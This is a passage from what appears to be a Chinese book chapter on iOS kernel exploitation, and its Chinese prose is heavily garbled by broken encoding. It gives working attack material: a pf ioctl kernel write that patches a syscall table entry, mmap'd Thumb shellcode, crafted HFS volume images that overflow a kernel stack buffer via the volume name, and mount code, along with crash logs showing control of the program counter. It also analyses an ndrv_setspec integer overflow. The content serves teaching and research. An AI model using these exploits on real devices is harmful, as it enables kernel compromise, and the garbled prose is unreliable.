    memset(trans_e.anchor, 0, MAXPATHLEN); 
    assert(!ioctl(pffd, DIOCXBEGIN, &trans)); 

    u_int32_t ticket = trans_e.ticket; 

 
    assert(!ioctl(pffd, DIOCBEGINADDRS, &pp)); 

    u_int32_t pool_ticket = pp.ticket; 

 
    pr.action = PF_PASS; 

    pr.nr = 0; 

    pr.ticket = ticket; 
    pr.pool_ticket = pool_ticket; 

    memset(pr.anchor, 0, MAXPATHLEN); 

    memset(pr.anchor_call, 0, MAXPATHLEN); 
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    pr.rule.return_icmp = 0; 

    pr.rule.action = PF_PASS; 

    pr.rule.af = AF_INET; 
    pr.rule.proto = IPPROTO_TCP; 

    pr.rule.rt = 0; 

    pr.rule.rpool.proxy_port[0] = htons(1); 
    pr.rule.rpool.proxy_port[1] = htons(1); 
 
    pr.rule.src.addr.type = PF_ADDR_ADDRMASK; 

    pr.rule.dst.addr.type = PF_ADDR_ADDRMASK; 
 
    pr.rule.overload_tbl = (void *)(addr - 0x4a4); 
 
    errno = 0; 
 
    assert(!ioctl(pffd, DIOCADDRULE, &pr)); 
 
    assert(!ioctl(pffd, DIOCXCOMMIT, &trans)); 
 
    pr.action = PF_CHANGE_REMOVE; 

    assert(!ioctl(pffd, DIOCCHANGERULE, &pr)); 
} 

ᤇ᧖ణ᧗᜵ᄉڠழ̅ڙὋ໣วஈѣር̯ܷࣿ͗ࠑਆ᜵ђ࠴ᄉڦڠʼђԜ0x4a4ᤇ˓Ϙǌᤇ௦

ॸᮋ᜵ϡᄉὋځ˝ᤇ˓Ϙ௦लၸ᝟ஜڙ٧ᛪፆౝͳ˖ᄉϟሧ᧙ǌ 
ဗڙԺ̾ђ࠴ЮನЮߚ˖͉਒ڦڠᄉϘ˿Ὃͭ᫇ᮤԠ౎˿Ὑੇ͂ឞݟʹઁᤇʶ̂ࠃᣀӐ੆

Ժ੯ᛠ͉਒̼ᆉᄉ໣วஈѣርࣿփ὞Ժᛠᄉழกᄰॆܲǌࠑܷ˝ځԺ̾௃ᬌ൒᧗ܬ੯ᛠ໣วஈ

ѣርࣿὋ੝̾ᑞ࠱Юನ̼ᆉᄉʶᦉѫᎵᭅὋᤇᝌᆉ੆Thumb̼ᆉࡂ௦MOVS R0,R0ǌᤇ۲ఴʼ

Ժ̾लЙಖᎀуӜຼѢᤇಧᄉளࡂԺ̾ၸ߱౎᧗з߶К೜ಉǌᤇಧʶ౎ࠑ൤ܷځ௦్NOPὋࡂ

໣ว˿ǌ 
ᤫђЮನጞѥஜૈ᧪ᄉణᰳߙᓫ௦ʶሗఝ˝ኤӬᄉஈѣǌ᤯᣾ԥڠܬᤫђὋੇ థԺᑞઁࡂ͂

Юನጞѥஜૈ᧪ሧҮҁၸਖ਼ቆᫍᄉЮߚӜ۪˖ǌcomex̴ڙᄉ໣วஈѣርࣿ˖ࡂѽၸ˿ᤇሗழกὋ

ᤫђጆፑុၸူܪርࣿ0ᄯᒯ߱ૈՓၸਖ਼ቆᫍᄉЮߚǌᬣՐὋ̴ ѽၸmmap()ጆፑុၸ௡࠰˿ឞڠ

 ᜁᜈЙၸ౎᡹ᣀҁ໣วஈѣር̼ࣿᆉൿᄉ᡹౛̼ᆉὙߚ᣾ᄉЮ࠰ǌཨՐὋ௡ߚᄉЮܪڦ

unsigned int target_addr = CONFIG_TARGET_ADDR; 

unsigned int target_addr_real = target_addr & ~1; 
unsigned int target_pagebase = target_addr & ~0xfff; 

unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24; 

assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | 
PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0)); 

unsigned short *p = (void *) target_addr_real; 

if(target_addr_real & 2) *p++ = 0x46c0; // nop 
*p++ = 0x4b00; // ldr r3, [pc] 

*p++ = 0x4718; // bx r3 

*((unsigned int *) p) = (unsigned int) &ok_go; 
assert(!mprotect((void *)target_pagebase, 

0x2000, PROT_READ | PROT_EXEC)); 

ʶெʶѬࡂ፛Ὃੇ͂ࡂԺ̾᤯᣾੯ᛠsyscall(0)ᝎԦ͉਒ᄉ̼ᆉ੯ᛠǌ�
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9.4.3�  ߎ⑶ऎކḌᷜ㓧ݙ

˧੝̾͗ѢဗЮನጞᄉಖᎀуӜຼѢ໣วὋᤇ᤯࣡௦ځ˝Փ۲̅ಖᄉᎀуӜ੯ᛠ˿లԩᬌ҃

ᄉ҃ܬୱͺǌԵ᜵ᤇሗৰхԦၶὋЮನಖ˖γߚᄉᤄࡂڦڠٿԺ̾᧗зࣲᜁఢ૰˝ૈՓੇ͂ᄉ

shellcode̼ᆉᄉૈ᧪ǌൣڙ͂ੇݟ˧ґᄉі˓Βߔ˖ᄹҁᄉὋiOSЉ᝴ᤄٿҁซЙᒯԺзЮನЮ

Юನ˖෤̣˥ᑞڙᄉ̼ᆉǌˀၸਖ਼ቆᫍʿՎὋ˖ߚၸਖ਼ቆᫍЮ̅ڙߚፂࣂҁٿᄉ̼ᆉὋ੊௦ᤄߚ

ђᎀ໣วஈѣርࣿὋځ൤ڙiOS 4˖ᤈᛠЮನጞᄉಖᎀуӜຼѢஈѣ௦᭣࣡ࠓ௛ᄉǌ߱і˪঳Ժ

̾ॅፆ˝᧗зᤄࣲڦڠٿᤄٿᒯၸਖ਼ቆᫍ˖ࣂፂэݝܫᄉ̼ᆉǌڙiOS 5˖੯ᛠᤇሗஈѣ͗ఝܬ

ఽʶ̎Ὃज़ज़ᭉ᜵ၸҁʶ̎Юನጞᄉ᭦Փᤄٿᄉርࣿ᝹᝟ǌ 
ᤇዜ໣ว˖థʶ˓௦ၿpod2gԦဗᄉὋሥ˝HFSேጆፑԃՏಖᎀуӜຼѢ὇HFS legacy volume 

name stack buffer overflowὈǌलԦឞ໣วᄉԓځ௦ὙેڙଋேጆፑᄉHFS஠͇ጆፑௐុၸ˿ʿԩ

ᬌ҃ᄉ֖҃ܬᣀ૰ѥஜǌ᧪ࠪឞ໣วᄉ໣วஈѣርࣿణѹ௦ᬣiOS 4.2.1ᄉᡔ࿜ርࣿʶՎԦ࣊ᄉǌ

߱ၿ3ᦉѫጷ੆ὙኃʶᦉѫԵ௦ʶൿၸ̯̅᪪Ϸ஠͇ેଋৎ਒HFS஠͇ጆፑᄉ̼ᆉ὚ኃ̃ᦉѫ௦

ᝎԦᎀуӜຼѢᄉৎ਒᪪Ϸఴᢵ὚ኃʻᦉѫ˶ࡂ௦ణՐʶᦉѫὋ௦ࠃᬄᄉథ஌ᣑᕲ̼ᆉὋ߱௦ڙ

໣วஈѣርࣿ᜵ᤄٿᄉͮᎵ௡࠰ᄉǌ 
ᬄᄉ໣วஈѣርࣿґὋੇ͂ᯪЎᄹᄹథ໣วᄉ̼ᆉǌͺ˝XNUЮನ̼ᆉᄉʶᦉѫὋࠃᝌ˿ڙ

߱͂௦धຸᄉὋͮ̅/bsd/hfs/hfs_encoding.c஠͇ᄉmac_roman_to_unicode()ѥஜ˖Ὑ 

int 

mac_roman_to_unicode(const Str31 hfs_str, UniChar *uni_str,  
                     unused u_int32_t maxCharLen, u_int32_t  

*unicodeChars) 

{ 

    const u_int8_t *p; 
    UniChar *u; 

    u_int16_t pascalChars; 

    u_int8_t c; 
 

    p = hfs_str; 

    u = uni_str; 
 
    *unicodeChars = pascalChars = *(p++); /* ༵ൽ܈׊ጴব */ 

 
    while (pascalChars--) { 

        c = *(p++); 
 
        if ( (int8_t) c >= 0 ) {    /* ॠֱ๟7ྺޏ࿋ڦascii */ 

            *(u++) = (UniChar) c;   /* ᆩ0ག؊ߛጴব */ 

        } else { /* its a hi bit character */ 
            /* čč */ 

        } 

    } 

 
    return noErr; 

} 
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ឞѥஜథʶ̎ॡథᡙᄉڠழǌᯪЎὋុၸឞѥஜௐథʶ˓ԟஜ὇maxCharLenὈૈ߿˿ᣤѢ

ᎀуӜ˖Ժ̾ࠓጩᄉణܷߙᓫஜǌܷࠑᤆ͗ᄹҁὋឞѥஜ˖಩ఴ෤థ΍ၸ᣾ᤇ˓ԟஜǌឞߙቿ˘

ᜁᝢ˝௦PascalಪयᄉὋ˶ࡂ௦ឬኃʶ˓ߙᓫߙ˿˦߿ቿ˘ᄉ᫁ऎǌ֖҃ܬᣀ૰९ဖ͗߸Кζ͉

ᤇ˓᫁ऎߙൿὋ෤థᤈᛠ᫸ൢ᧗зᎀуӜళቪᄉ೜ಉǌᤇ᧖ᤆథʶ˓᧗ཁὋࡂ௦ᣤѢߙቿᄉࠔऎ

௦16ͮὋᤇᛪᇧඇᬥʶ˓ߙᓫࡂథʶ˓0ǌ׬ʶᄉΒܰࡂ௦ᥦ̎ASCIIϘܷ̅127ᄉߙቿǌᥦ̎ߙ

ቿ͗ၿː᧗ᬌ҃ԺᑞᣤѢᄉಉ੼ᛪᤈᛠᣀ૰ǌХͳᄉ̼ᆉᤇ᧖ࡂʿ̭ፀ˿Ὃځ˝߱ࠪ̅໣วஈѣ

ርࣿ౎ឬ෤̣˥ၸǌځ˝ඇᬥʶ˓ߙᓫࡂథʶ˓0Ὃ੝̾ᤇ᧖Ե͗ᤄٿҁၸਖ਼ቆᫍЮߚᄉґ24 MB
ቆᫍ˖Ὃࣲځ൤෤఺͗΍ၸФ̴ᄉ໣วஈѣழกǌ 

ଋHFS᪪ϷௐὋࠪmac_roman_to_unicode()ᄉុၸ౎ຸ̅ѥஜhfs_to_utf8()Ὃᤇેڙ

˓ѥஜ˶௦ڙ/bsd/hfs/hfs_encoding.c஠͇˖߿˦ᄉǌឞុၸ௦᤯᣾ѥஜૈ᧪ᤈᛠᄉǌ 

int 
hfs_to_utf8(ExtendedVCB *vcb, const Str31 hfs_str, ByteCount maxDstLen,  

 ByteCount *actualDstLen, unsigned char* dstStr) 

{ 
    int error; 

    UniChar uniStr[MAX_HFS_UNICODE_CHARS]; 

    ItemCount uniCount; 
    size_t utf8len; 
    hfs_to_unicode_func_t hfs_get_unicode = VCBTOHFS(vcb)->hfs_get_unicode; 

 
    error = hfs_get_unicode(hfs_str, uniStr,  

MAX_HFS_UNICODE_CHARS, &uniCount); 

 
    if (uniCount == 0) 

        error = EINVAL; 

 
    if (error == 0) { 

        error = utf8_encodestr(uniStr, uniCount * sizeof(UniChar), 

                               dstStr, &utf8len, maxDstLen , ':', 0); 
        if (error == ENAMETOOLONG) 

            *actualDstLen = utf8_encodelen(uniStr, uniCount * 

    sizeof(UniChar), 
                                           ':', 0); 

        else 

            *actualDstLen = utf8len; 
        } 

 

    return error; 
} 

ဗڙ౎ᄹᄹேྟHFS˞ᄫेܿᦉᄉ߿˦Ὃ߱ߚϱڙ/bsd/hfs/hfs_format.h஠͇˖Ὃ௦XNU
ຸ̼ᆉᄉʶᦉѫǌ˞ᄫेڰᜁߚϱڙ஠͇ጆፑᄉኃʻ˓੠Ӝ˖ὋᏪ߱ᄉҝఴ˶ᜁߚϱڙχஜ

ኃ̃˓੠ӜὙ 

/* HFSዷణ୤੷ǈ162ጴব */ 

 /* 2߲ข൶ዐڼຕڛࢅ3߲ข൶ǅڼข൶Ǆࡽሞ2ئ٪ */

struct HFSMasterDirectoryBlock { 

    u_int16_t   drSigWord;  /* == kHFSSigWord */ 
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    u_int32_t   drCrDate;   /*  ظॺਝڦන೺้ࢅक़ */ 

    u_int32_t   drLsMod;    /* ፌৎᅃْႪڦ߀න೺้ࢅक़ */ 

    u_int16_t   drAtrb;     /* ਝຌႠ */ 

    u_int16_t   drNmFls;    /* ߵ࿔ॲॄዐڦ࿔ॲຕ */ 

    u_int16_t   drVBMSt;    /* ਝ࿋཮ڼڦᅃ߲੷ */ 

    u_int16_t   drAllocPtr; /* ူᅃْݴದֱቴڦഐ๔ */ 

    u_int16_t   drNmAlBlks; /* ਝዐݴದ੷ڦຕଉ */ 

    u_int32_t   drAlBlkSiz; /* ݴದ੷ٷڦၭǄڇ࿋ྺጴবǅ */ 

    u_int32_t   drClpSiz;   /* ఐණٜٷၭ */ 

    u_int16_t   drAlBlSt;   /* ਝዐڼᅃ߲ݴದ੷ */ 

    u_int32_t   drNxtCNID;  /* ူᅃ߲࿄๑ᆩڦՊణবۅID */ 

    u_int16_t   drFreeBks;  /* ࿄๑ᆩݴದ੷ڦຕଉ */ 

    u_int8_t     drVN[kHFSMaxVolumeNameChars + 1];   /* ਝఁ */ 

    u_int32_t   drVolBkUp;  /* ፌৎᅃْԢڦݻන೺้ࢅक़ */ 

    u_int16_t   drVSeqNum;  /* ਝԢڦݻႾࡽ */ 

    ... 

ቿǌຸ̼ᆉߙ˓ԃՏణܲԺ̾థkHFSMaxVolumeNameChars˖˦߿ݼԓڙԺ̾ᄹҁὋࠑܷ

27ǌͭ˝˦߿ឞ࣡᧙࠱ ̼ᆉԠ෤థࠪᤇ˓ߙൿᤈᛠ͉ʹᬌ҃Ὃځ൤ᡓ᫁ᄉԃՏࡂథԺᑞ͛Йࣲᜁ

͛ᤞҁUnicodeᣀ૰ѥஜǌథ˿ᤇ̎ζোὋဗڙԺ̾ѸतᝎԦຼѢᄉৎ਒HFS᪪Ϸ˿Ὑ 

$ hexdump -C exploit.hfs 

 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 

 * 
 00000400 42 44 00 00 00 00 00 00 00 00 01 00 00 00 00 00 |BD..............| 

 00000410 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 |................| 

 00000420 00 00 00 00 60 41 41 41 41 42 42 42 42 43 43 43 |....`AAAABBBBCCC| 
 00000430 43 44 44 44 44 45 45 45 45 46 46 46 46 47 47 47 |CDDDDEEEEFFFFGGG| 

 00000440 47 48 48 48 48 49 49 49 49 4a 4a 4a 4a 4b 4b 4b |GHHHHIIIIJJJJKKK| 

 00000450 4b 4c 4c 4c 4c 4d 4d 4d 4d 4e 4e 4e 4e 4f 4f 4f |KLLLLMMMMNNNNOOO| 
 00000460 4f 50 50 50 50 51 51 51 51 52 52 52 52 53 53 53 |OPPPPQQQQRRRRSSS| 

 00000470 53 54 54 54 54 55 55 55 55 56 56 56 56 57 57 57 |STTTTUUUUVVVVWWW| 

 00000480 57 58 58 58 58 00 00 00 00 00 00 00 00 00 00 00 |WXXXX...........| 
 00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 

 * 

 00000600 

ឞHFS᪪ϷӉդథ᫁᣹96ߙᓫᄉᡓ᫁ԃՏὋڙᤇ᧖ᄉৰхʽःឞᑞᝧᎀуӜຼѢǌځ˝ԃՏ

௦ၿߙආᛪ˖ᄉᄽߙࠃආጷ੆ᄉὋ੝̾Unicodeᣀ૰ःឞ͗ઁ੝థᄉЮࠓԪ੆᭣กЮڦڠߚὋᤇ

�Ὑܫ᜵ၸҁ/dev/vn0᝹ࠑҪ˿ጆፑ࢜ຳᄉԺᑞবǌ᜵ેଋᤇ˓HFS᪪ϷὋܷܘ

int ret, fd; struct vn_ioctl vn; struct hfs_mount_args args; 

 

fd = open("/dev/vn0", O_RDONLY, 0); 
if (fd < 0) { 

    puts("Can't open /dev/vn0 special file."); 

    exit(1); 
} 

 

memset(&vn, 0, sizeof(vn)); 
ioctl(fd, VNIOCDETACH, &vn); 

vn.vn_file = "/usr/lib/exploit.hfs"; 
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vn.vn_control = vncontrol_readwrite_io_e; 
ret = ioctl(fd, VNIOCATTACH, &vn); 

close(fd); 

if (ret < 0) { 
    puts("Can't attach vn0."); 

    exit(1); 

} 
 

memset(&args, 0, sizeof(args)); 

args.fspec = "/dev/vn0"; 
args.hfs_uid = args.hfs_gid = 99; 

args.hfs_mask = 0x1c5; 

ret = mount("hfs", "/mnt/", MNT_RDONLY, &args); 

ណેଋ˧ґౝᤴᄉHFS᪪ϷὋᤇ͗በԀ࠭ᒰЮನː᧗ᩱឧǌܷ࠼ᤁᛠథ໣วᄉЮನௐڙ౦ݟ

�Ժ̾ѫౡʶʽ࢜ຳᣀϱ஠͇ὋᄹᄹᦏԦၶ˿̣˥Ὑࠑ

Hardware Model:    iPod4,1 

Date/Time:      2011-07-26 09:55:12.761 +0200 

OS Version:     iPhone OS 4.2.1 (8C148) 
 

kernel abort type 4: fault_type=0x3, fault_addr=0x570057 

r0: 0x00000041  r1: 0x00000000  r2: 0x00000000  r3: 0x000000ff 
r4: 0x00570057  r5: 0x00540053  r6: 0x00570155  r7: 0xcdbfb720 

r8: 0xcdbfb738  r9: 0x00000000 r10: 0x0000003a r11: 0x00000000 

12: 0x00000000  sp: 0xcdbfb6e0  lr: 0x8011c47f  pc: 0x8009006a 
cpsr: 0x80000033 fsr: 0x00000805 far: 0x00570057 

᝺᫇लᡐߚᄉ௃஌Юܪ٧ᄉϘὈߚ0x570057὇ኍ̅R4࠘ڦڠ੝᜸Ὃː᧗ᩱឧ௦ၿࠑܷݟൣ

ᄉǌܷࠑᤆ͗ᄹҁὋR4ǋR5֖R6ᦏ௦ၿᎀуӜຼѢଌ҃ᄉǌʿ᣾Ὃܷࠑ෤กଌ҃ርࣿ᝟ஜ٧PCὋ

 ൤ःឞᄹᄹPC̾ԢLRᬃᤂᄉ̼ᆉὙځ
80090066                CMP             R4, R6 

80090068                BCS             loc_80090120 
8009006A 

8009006A loc_8009006A   ; CODE XREF: _utf8_encodestr+192 
8009006A                STRB.W          R0, [R4],#1 

8009006E                B               loc_8008FFD6 

ʿѢ੝஧ὋPCܪᄉૈ̽ណᅋՓR4зஜ૵Ὃځ൤लԦ˿Юನː᧗ᩱឧǌܷࠑᤆ͗Ԧဗࣂፂ੯

ᛠҁѥஜutf8_encodestr()˖ὋᏪᤇʿ௦ܷࠑణጻਆ᜵ҁ᣹ᄉڠழǌ᤯᣾೜ಉLRᬃᤂᄉ̼ᆉὋ

 Ժ̾ᄹҁయభᄉຸᒬhfs_to_utf8()ᄉុၸὙࠑܷ
8011C476               MOVS            R5, #0x3A 

8011C478               STR             R5, [SP,#0xB8+var_B4] 
8011C47A               BL              _utf8_encodestr 
8011C47E               CMP             R0, #0x3F 

8011C480               MOV             R4, R0 

Ԫ᧙uniCount᭣0ᄉৰхʽ੥ᑞҁ᣹ᤇʶ̼ᆉᡸफ़ǌᎀуڙᅻ᥊ὋԵథ͗ࡂ಩૵ຸ̼ᆉࠑܷ

ӜຼѢ᧗з˿ឞԪ᧙Ὃځ൤ܷࠑԺ̾ុஞᒬࣁᄉథ஌ᣑᕲὋ˝ФᜈЙϘ0ǌԦၶຼѢௐᄉಖ࣊ࡌ

 6੝ᇧǌ-9ڎݟ
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�6-9ڎ ຼѢԦၶௐᄉಖ࣊ࡌ 

ࠑ٧̾Ԣርࣿ᝟ஜ٧PCᄉϘὋܷߚ౦ਆ᜵ᮔ᝹uniCountǋR4~R7࠘ݟՐὋ˧ࡌಉᄹಖ࣊ڙ

 ᓫὙߙ̎גᅻ᥊᜵νஇథ஌ᣑᕲ˖ᄉ͗ࡂ

$ hexdump -C exploit_improved.hfs 

 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 
 * 

 00000400 42 44 00 00 00 00 00 00 00 00 01 00 00 00 00 00 |BD..............| 

 00000410 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 |................| 
 00000420 00 00 00 00 60 58 58 58 58 58 58 58 58 58 58 58 |....`XXXXXXXXXXX| 

 00000430 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX| 

 00000440 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX| 
 00000450 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX| 

 00000460 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX| 
 00000470 58 58 00 00 41 41 42 42 43 43 44 44 45 45 46 46 |XX..AABBCCDDEEFF| 

 00000480 47 47 48 48 58 00 00 00 00 00 00 00 00 00 00 00 |GGHHX...........| 

 00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 

 * 
 00000600 
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ဗڙὋڙв൒ેଋள஠͇˧ՐὋੇ͂ࡂԺ̾ࠪၶ੆ᄉː᧗ᩱឧ௅ংᤈᛠѫౡὋᰍ᝼ᒬࣁᄉϛ

᝹௦ՠൣᆷǌ̂ࠃʼὋܷ͗ࠑᄹҁ੝థᄉ࠘٧ߚᦏᜈЙ˿ᮔయᄉϘǌᬓ൤˧ܰὋܷࠑᤆ͗Ԧဗː

᧗ᩱឧ௦ၿ̅CPUណڎឳԨ0x450044ܪᄉʽʶ్ૈ̽ᤴ੆ᄉὋᤇᛪᇧܷࠑ੆ҩڠұ૆˿̼ᆉึὙ 

Hardware Model:    iPod4,1 
Date/Time:      2011-07-26 11:05:23.612 +0200 

OS Version:     iPhone OS 4.2.1 (8C148) 

 
sleh_abort: prefetch abort in kernel mode: fault_addr=0x450044 

r0: 0x00000016  r1: 0x00000000  r2: 0x00000058  r3: 0xcdbf37d0 
r4: 0x00410041  r5: 0x00420042  r6: 0x00430043  r7: 0x00440044 

r8: 0x8a3ee804  r9: 0x00000000 r10: 0x81b44250 r11: 0xc07c7000 
12: 0x89640c88  sp: 0xcdbf37e8  lr: 0x8011c457  pc: 0x00450044 

cpsr: 0x20000033 fsr: 0x00000005 far: 0x00450044 

ڦڠҁ࠰ᭉ᜵ѽၸmmap()ઁʶ̎shellcode̼ᆉ̯ၸਖ਼ቆᫍ௡ࠑ໣วஈѣርࣿᄉణՐὋܷڙ

0x450044ܪὋ੊ᏧνஇHFS᪪ϷὋ΍Фᤄࠑܷٿᄉshellcode̼ᆉࣂፂ௡࠰ҁᄉ౼˓ڦڠǌ 

9.4.4�  ߎ⑶ऎކḌේ㓧ݙ

˧੝̾͗ѢဗЮನጞᄉ۶ᎀуӜຼѢ໣วὋᤇ௦ځ˝Փ۲̅۶ᄉᎀуӜᤈᛠ˿ʿҪᬌ҃ᄉܬ

҃ୱͺǌᤇሗຼѢᄉፆ౦Ԩф̅ࠃᬄᄉ۶ࠃဗ̾ԢᬃᤂᄉЮڰߚὋ߱ ͂ф߿˿ᤇಧᄉຼѢᑞՠၸ

̅໣วஈѣǋЉ᝴͉਒ᄉ̼ᆉ੯ᛠ੊ԩଌ҃ᄉЮߚ૮ڭǌˀ ЮನቆᫍᎤ˫᧪ࠪಖᎀуӜຼѢᄉγ

એଏஶᄰͪὋiOSЮನ˖˶෤థ᧪ࠪ۶ᎀуӜຼѢᄉγએଏஶǌ᧪ࠪ۶ᎀуӜຼѢᄉК᭦໣วஈ

ѣ᜵ඊ˧ґᝦ᝶᣾ᄉіዜ᫇ᮤܬఽ३ܲὋ᜵යܷࠑॡူڠݝᝌ۶ѫᦠርࣿᄉࠃဗǌڙध̭ݼፀࠃ

ᬄᄉ໣วஈѣ˧ґὋੇ͂ᯪЎᄹʶʽ˝iOS 4.3.1ҁ4.3.3ᡔ࿜ᄉredsn0wࢹХ੝ѽၸᄉ໣วǌ 
᜵ᝦ᝶ᄉ໣วͮ̅ndrv_setspec()ѥஜ˖Ὃឞѥஜ௦ڙ/bsd/net/ndrv.c஠͇˖߿˦ᄉǌࠃᬄ

໣วࣲʿ௦ኤӬᄉ۶ᎀуӜຼѢὋᏪ௦ڙ᝟ኪ੝ѫᦠ۶Юߚஜ᧙ᄉ˱ก˖ԦၶᄉஞஜຼѢǌځ˝

෤థ೜ಉၸਖ਼ଡΘᄉdemux_countὋ੝̾32ͮᄉԪ᧙ʿʶ߿ᑞࠓጩ˱กᄉፆ౦Ὃځ൤ѫᦠᤄٿ

˿ʶ˓᣾࠴ᄉᎀуӜὋݟʽ᭦ᄉ̼ᆉ੝ᇧὙ 

bzero(&proto_param, sizeof(proto_param)); 

proto_param.demux_count = ndrvSpec.demux_count; 
 
/* ྺ঴ްᆩຕፇݴದ٪ئ੣क़ */ 

MALLOC(ndrvDemux, struct ndrv_demux_desc*, proto_param.demux_count * 

       sizeof(struct ndrv_demux_desc), M_TEMP, M_WAITOK); 

if (ndrvDemux == NULL) 
    return ENOMEM; 

 
 /* ifnet_demux_descsڦࠕದፁݴ */

MALLOC(proto_param.demux_array, struct ifnet_demux_desc*, 

       sizeof(*proto_param.demux_array) * ndrvSpec.demux_count, 

       M_TEMP, M_WAITOK); 

if (proto_param.demux_array == NULL) 

    error = ENOMEM; 
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͗˿౦demux_countᜁᎵ˝0x4000000aᤇಧᄉϘὋᥦ˥ˏ˓ࠪ_MALLOC()ᄉុၸᦏӉդݟ

ຼѢᄉஞஜ˱กǌځ൤Ὃˏ˓ᎀуӜࠪ̅੝ଡΘᄉdemux_count౎ឬᦏʿܴ᫁ǌѥஜ͗ፘ̯፝

ၸਖ਼ቆᫍઁஜ૵҃ܬҁndrvDemuxᎀуӜǌʿ ᣾Ὃ҃ܬ˝ځᄉ᧙௦ၿᄰՎМय᝟ኪᄉὋ੝̾ᤇʿ

͗࠭ᒰᎀуӜຼѢὋݟ˝ځՎܷڙࠑᤇ᧖᜵ᄹҁᄉὋੇ͂Ե҃ܬ˿ᄰՎஜ᧙ᄉߙᓫὙ 

/* ٗᆩࢽ੣क़ް዆ኄ߲ndrv঴ްᆩຕፇ */ 

error = copyin(user_addr, ndrvDemux, ndrvSpec.demux_count *  
sizeof(struct ndrv_demux_desc)); 

ndrvSpec.demux_list = ndrvDemux; 

ʶ˓९ဖ˖Ὃឞ९ဖ᠆᠉ᣀ૰̯ၸਖ਼ቆᫍ͛ЙЮನፆౝᄉஜ૵Ὃ߱ڙᬄᄉᎀуӜຼѢᬤᘨࠃ

�ୱͺ˧ՐὙ҃ܬᤇʶڙጊᡱࡂ

proto_param.demux_count = ndrvSpec.demux_count; 
proto_param.input = ndrv_input; 

proto_param.event = ndrv_event; 

 
for (demuxOn = 0; demuxOn < ndrvSpec.demux_count; demuxOn++) 

{ 
    /* ॽndrv_demux_descገ࣑ׯifnet_demux_desc */ 

    error = ndrv_to_ifnet_demux(&ndrvSpec.demux_list[demuxOn], 

                                &proto_param.demux_array[demuxOn]); 
    if (error) 

    break; 

} 

ᄉࠑᣀ૰߸උ੊௦ᝎԦ˿ᩱឧǌܷࠓ૆፝ᣀ૰Ὃᄯҁ੝థᄉЮ͗࠱Ժ̾ᄹҁὋᤇ˓९ဖࠑܷ

ᤤસःឞॡ௙௬Ὃࡂ௦᜵᤯᣾౼ሗ੣ൿᝎԦឞᩱឧὋځ˝ʿᤇಧᄉព҃ܬᄉߙቿ᧙͗ࡂ᣾ࣲܷ࠭

ᒰЮನ࢜ຳǌڙ˿ᝌᣀ૰ѥஜndrv_to_ifnet_demux()ௐܷ͗ࡂࠑ௙ᄆὋᤇʿ௦˓᫇ᮤǌʿ᣾

�ဗǌࠃᅋ੣˧ґὋЎ౎ᄹᄹЮನ۶ᄉݼधڙ

 䜡⿟ᑣߚᄬඳݙḌේݙ .1
᜵ူᝌЮನ۶˖ᄉᎀуӜຼѢ௦ঞಧ࠭ᒰ໣วஈѣᄉὋੇ͂ࡂॸᮋ˿ᝌЮನ۶ᄉࠃဗǌiOS

Юನ˖ܲڙߚሗЮನ۶ᄉࠃဗὋʿ ᣾ੇ͂Եᝦ᝶ᜁѫౡ३ణܲᄉʶሗǌੇ ͂᜵ҕౡᄉѫᦠርࣿԶ

ͺЮ۪ߚѫᦠርࣿ὇zone allocatorὈὋ߱௦iOS˖ణ࣡ၸᄉѫᦠርࣿὋ௦ڙosfmk/kern/zalloc.c஠͇

ॡܲৰхڙᄉὋࣲ˄᜵᤯᣾zalloc()ǋzalloc_canblock()֖zfree()ѥஜ౎΍ၸǌ˦߿˖

ʽὋੇࣲ͂ʿ͗ᄯଋ΍ၸ߱ὋᏪ௦᤯᣾Ӊᜈѥஜ΍ၸ߱ǌణ࣡᜸ᄉၸก௦ѽၸ_MALLOC()ѥஜὋ

ឞѥஜ͗ុၸkalloc()ᤈᛠࠃᬄᄉѫᦠǌkalloc()Ӊᜈ˿ˏሗʿՎᄉѫᦠርࣿὋࣲ ͗಩૵ѫᦠ

ᄉڰᄉܷ̃ڙ࠴Ꮷ˧ᫍͺѢᤤસǌᣖ࠴ᄉڰ௦᤯᣾zalloc()ѫᦠᄉὋᏪᣖܷᄉڰ௦᤯᣾

knem_alloc()ѥஜѫᦠᄉǌ 
ဗᤈᛠѫౡ˧ґὋੇࠃᬄࠃѫᦠርࣿᄉ۪ߚЮࠪڙ ͂Ў౎ᄹᄹᤇ̎ӉᜈѥஜὋځ˝߱͂ఴᢵ

ᄉǌ˧੝̾ឬ߱ॡྱ˦߿˖bsd/kern/kern_malloc.c஠͇/ڙፂॡխल̠˿ǌ_MALLOC()ѥஜ௦ࣂࡂ

ѾὋ௦ځ˝߱͗ፋ੝ѫᦠᄉஜ૵Ҫʼʶ˓Ӊդథ࠴ܷڰζোᄉܿᦉǌᤇ௦థॸ᜵ᄉὋځ˝߱Юᦉ

΍ၸ˿kalloc()֖kfree()ѥஜὋᏪᤇˏᏧᦏᭉ᜵ᖌԨ੝͛ᤫڰᄉܷ࠴ǌ 
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void * 
_MALLOC( 

      size_t size, 

      int    type, 
      int    flags) 

{ 

    struct _mhead *hdr; 
    size_t        memsize = sizeof (*hdr) + size; 

 

    if (type >= M_LAST) 
        panic("_malloc TYPE"); 

 

    if (size == 0) 
        return (NULL); 

 

    if (flags & M_NOWAIT) { 
        hdr = (void *)kalloc_noblock(memsize); 

    } else { 
        hdr = (void *)kalloc(memsize); 

 

        if (hdr == NULL) { 

            panic("_MALLOC: kalloc returned NULL (potential leak), size %llu", 
                 (uint64_t) size); 

        } 

    } 
    if (!hdr) 

        return (0); 

 
    hdr->mlen = memsize; 

 

    if (flags & M_ZERO) 
        bzero(hdr->dat, size); 

 

    return (hdr->dat); 
} 

